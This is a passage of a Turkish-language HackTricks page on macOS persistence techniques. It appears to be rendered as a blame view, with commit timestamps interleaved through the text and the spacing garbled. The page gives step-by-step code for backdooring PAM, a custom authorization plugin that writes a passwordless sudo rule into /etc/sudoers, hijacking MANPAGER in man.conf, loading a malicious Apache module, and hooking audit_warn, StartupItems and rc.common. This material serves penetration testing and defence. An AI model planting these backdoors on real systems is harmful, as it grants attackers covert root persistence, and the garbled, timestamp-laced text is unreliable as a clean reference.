Başka güzel bir örnek ise su'dur, burada PAM modüllerine parametreler vermenin de mümkün olduğunu görebilirsiniz (ve bu dosyayı da arka kapı ile değiştirebilirsiniz):
```bash
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
```
### Authorization Plugins
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak root olmanı z ve ek yapı landı rmalar yapmanı z gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: ???
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Location
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-02-10 18:14:16 +00:00
* Root gereklidir
2024-09-21 18:25:13 +00:00
* Eklentiyi kullanmak için yetkilendirme veritabanı nı n da yapı landı rı lması gerekir
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Description & Exploitation
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Kullanı cı giriş yaptı ğı nda çalı şacak bir yetkilendirme eklentisi oluşturabilirsiniz. Bu eklentilerden birini nası l oluşturacağı nı z hakkı nda daha fazla bilgi için önceki yazı lara göz atı n (ve dikkatli olun, kötü yazı lmı ş bir eklenti sizi kilitleyebilir ve mac'inizi kurtarma modundan temizlemeniz gerekebilir).
2023-11-03 11:03:53 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
2024-02-10 18:14:16 +00:00
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
2023-11-03 11:03:53 +00:00
}
```
2024-09-21 18:25:13 +00:00
**Taşı ** paketi yüklenecek konuma:
2023-11-03 11:03:53 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2024-09-21 18:25:13 +00:00
Son olarak, bu Eklentiyi yüklemek için **kuralı ** ekleyin:
2023-11-03 11:03:53 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
2023-11-03 11:03:53 +00:00
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2024-09-21 18:25:13 +00:00
**`evaluate-mechanisms`** yetkilendirme çerçevesine **harici bir yetkilendirme mekanizması nı çağı rması gerektiğini** söyleyecektir. Ayrı ca, ** `privileged` ** bunun root tarafı ndan çalı ştı rı lması nı sağlayacaktı r.
2023-11-03 11:03:53 +00:00
2024-09-21 18:25:13 +00:00
Bunu tetiklemek için:
2023-11-03 11:03:53 +00:00
```bash
security authorize com.asdf.asdf
```
2024-09-21 18:25:13 +00:00
Ve ardı ndan **staff grubunun sudo** erişimine sahip olması gerekir (doğrulamak için `/etc/sudoers` dosyası nı okuyun).
2023-11-03 11:03:53 +00:00
2023-09-28 20:05:35 +00:00
### Man.conf
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak root olmanı z ve kullanı cı nı n man kullanması gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/private/etc/man.conf`**
2024-09-21 18:25:13 +00:00
* Root gereklidir
* **`/private/etc/man.conf`**: Man kullanı ldı ğı nda
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Yapı landı rma dosyası ** `/private/etc/man.conf` **, man belgelerini açarken kullanı lacak ikili/dosya yolunu belirtir. Bu nedenle, yürütülebilir dosyanı n yolu değiştirilerek, kullanı cı man ile bazı belgeleri okuduğunda bir arka kapı nı n çalı ştı rı lması sağlanabilir.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Örneğin ** `/private/etc/man.conf` ** içinde ayarlayı n:
2023-09-28 20:05:35 +00:00
```
MANPAGER /tmp/view
2023-06-01 21:09:46 +00:00
```
2024-09-21 18:25:13 +00:00
Ve ardı ndan `/tmp/view` oluşturun:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
#!/bin/zsh
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
touch /tmp/manconf
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/usr/bin/less -s
```
2023-09-28 15:09:34 +00:00
### Apache2
2024-09-21 18:25:13 +00:00
**Yazı **: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak root olmanı z ve apache'nin çalı şı yor olması gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2024-09-21 18:25:13 +00:00
* Httpd'nin yetkileri yoktur
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/apache2/httpd.conf`**
2024-09-21 18:25:13 +00:00
* Root gereklidir
2024-02-10 18:14:16 +00:00
* Tetikleyici: Apache2 başlatı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
`/etc/apache2/httpd.conf` dosyası nda bir modül yüklemek için aşağı daki gibi bir satı r ekleyebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
2024-09-21 18:25:13 +00:00
Bu şekilde derlenmiş modülleriniz Apache tarafı ndan yüklenecektir. Tek gereken, ya **geçerli bir Apple sertifikası ile imzalamanı z** , ya da sistemde **yeni bir güvenilir sertifika eklemeniz** ve bunu **imzalamanı zdı r** .
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Sonra, gerekirse, sunucunun başlatı lması nı sağlamak için şunu çalı ştı rabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2024-02-23 16:46:32 +00:00
Dylb için kod örneği:
2023-09-28 15:09:34 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
2024-02-10 18:14:16 +00:00
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
2023-09-28 15:09:34 +00:00
}
```
2024-02-10 18:14:16 +00:00
### BSM denetim çerçevesi
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak root olmanı z, auditd'nin çalı şı yor olması ve bir uyarı oluşturmanı z gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/security/audit_warn`**
2024-09-21 18:25:13 +00:00
* Root gereklidir
* **Tetikleyici**: auditd bir uyarı tespit ettiğinde
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
auditd her uyarı tespit ettiğinde ** `/etc/security/audit_warn` ** dosyası **çalı ştı rı lı r** . Bu nedenle, yükünüzü buna ekleyebilirsiniz.
2023-09-28 15:09:34 +00:00
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2024-09-21 18:25:13 +00:00
You could force a warning with `sudo audit -n` .
### Startup Items
2023-06-01 21:09:46 +00:00
2023-09-26 23:39:35 +00:00
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
**Bu artı k kullanı lmı yor, bu nedenle bu dizinlerde hiçbir şey bulunmamalı dı r.**
2023-09-26 23:39:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
**StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` dizininde konumlandı rı lması gereken bir dizindir. Bu dizin oluşturulduktan sonra, iki belirli dosyayı içermelidir:
2024-02-07 04:06:18 +00:00
2024-09-21 18:25:13 +00:00
1. Bir **rc script** : Başlangı çta çalı ştı rı lan bir shell script.
2. Özellikle `StartupParameters.plist` adı verilen bir **plist dosyası ** , çeşitli yapı landı rma ayarları nı içerir.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Başlangı ç sürecinin bunları tanı yı p kullanabilmesi için hem rc script hem de `StartupParameters.plist` dosyası nı n **StartupItem** dizini içinde doğru bir şekilde yerleştirildiğinden emin olun.
{% tabs %}
{% tab title="StartupParameters.plist" %}
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-13 00:51:21 +00:00
{% endtab %}
2024-09-21 18:25:13 +00:00
{% tab title="superservicename" %}
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2024-02-10 18:14:16 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2024-02-10 18:14:16 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2024-02-10 18:14:16 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
2024-04-07 03:13:19 +00:00
{% endtab %}
{% endtabs %}
2023-09-28 20:05:35 +00:00
### ~~emond~~
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
Bu bileşeni macOS'ümde bulamı yorum, bu yüzden daha fazla bilgi için yazı ya bakı n
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-07-17 18:36:54 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Apple tarafı ndan tanı tı lan **emond** , gelişmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizması dı r, ancak yine de erişilebilir durumdadı r. Bir Mac yöneticisi için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için ince bir kalı cı lı k yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafı ndan fark edilmez.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Var olduğunun farkı nda olanlar için, **emond** 'un herhangi bir kötüye kullanı mı nı tespit etmek oldukça basittir. Bu hizmetin sisteminin LaunchDaemon'ı , çalı ştı rı lacak betikleri tek bir dizinde arar. Bunu incelemek için aşağı daki komut kullanı labilir:
2023-09-28 20:05:35 +00:00
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Location
2023-09-28 20:05:35 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-09-21 18:25:13 +00:00
* Root gerekli
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: XQuartz ile
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Description & Exploit
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
XQuartz **artı k macOS'ta yüklü değil** , bu yüzden daha fazla bilgi istiyorsanı z yazı ya bakı n.
2023-09-28 20:05:35 +00:00
### ~~kext~~
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
Kext'i kök olarak yüklemek o kadar karmaşı k ki, bunu sandbox'lardan kaçmak veya kalı cı lı k için düşünmeyeceğim (bir exploit'iniz yoksa).
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-09-21 18:25:13 +00:00
#### Location
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Bir KEXT'i başlangı ç öğesi olarak yüklemek için, **aşağı daki konumlardan birine yüklenmesi gerekir** :
2023-09-28 20:05:35 +00:00
* `/System/Library/Extensions`
2024-09-21 18:25:13 +00:00
* OS X işletim sistemine entegre edilmiş KEXT dosyaları .
2023-09-28 20:05:35 +00:00
* `/Library/Extensions`
2024-09-21 18:25:13 +00:00
* 3. parti yazı lı mlar tarafı ndan yüklenen KEXT dosyaları
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Mevcut yüklü kext dosyaları nı listelemek için:
2023-09-28 20:05:35 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-09-21 18:25:13 +00:00
For more information about [**kernel extensions check this section** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 20:05:35 +00:00
### ~~amstoold~~
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Location
2023-09-28 20:05:35 +00:00
* **`/usr/local/bin/amstoold`**
2024-09-21 18:25:13 +00:00
* Root required
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Description & Exploitation
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist` dosyası ndaki `plist` , bir XPC servisi sunarken bu ikiliyi kullanı yordu... sorun şu ki, ikili mevcut değildi, bu yüzden oraya bir şey yerleştirebilir ve XPC servisi çağrı ldı ğı nda ikilinizin çağrı lması nı sağlayabilirsiniz.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Artı k bunu macOS'ümde bulamı yorum.
2023-09-28 20:05:35 +00:00
### ~~xsanctl~~
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Location
2023-09-28 20:05:35 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-09-21 18:25:13 +00:00
* Root required
* **Trigger**: Servis çalı ştı rı ldı ğı nda (nadiren)
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Description & exploit
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Görünüşe göre bu scripti çalı ştı rmak pek yaygı n değil ve ben bile macOS'ümde bulamadı m, bu yüzden daha fazla bilgi istiyorsanı z yazı yı kontrol edin.
2023-09-28 20:05:35 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
**Bu modern MacOS sürümlerinde çalı şmı yor**
2023-06-01 21:09:46 +00:00
{% endhint %}
2024-09-21 18:25:13 +00:00
Ayrı ca burada **başlangı çta çalı ştı rı lacak komutlar yerleştirmek mümkündür.** Örnek olarak düzenli rc.common scripti:
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2024-02-10 18:14:16 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2024-02-10 18:14:16 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2024-02-10 18:14:16 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2024-09-21 18:25:13 +00:00
## Süreklilik teknikleri ve araçları
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
2024-07-18 17:54:59 +00:00
{% hint style="success" %}
2024-09-21 18:25:13 +00:00
AWS Hacking öğrenin ve pratik yapı n:< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP Hacking öğrenin ve pratik yapı n: < img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-06-01 21:09:46 +00:00
2024-07-18 17:54:59 +00:00
< details >
2023-06-01 21:09:46 +00:00
2024-07-18 17:54:59 +00:00
< summary > HackTricks'i Destekleyin< / summary >
2023-12-30 20:49:49 +00:00
2024-09-21 18:25:13 +00:00
* [**abonelik planları nı ** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n ya da **Twitter'da** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**'i takip edin.**
* **Hacking ipuçları nı paylaşmak için** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github reposuna PR gönderin.
2023-06-01 21:09:46 +00:00
< / details >
2024-07-18 17:54:59 +00:00
{% endhint %}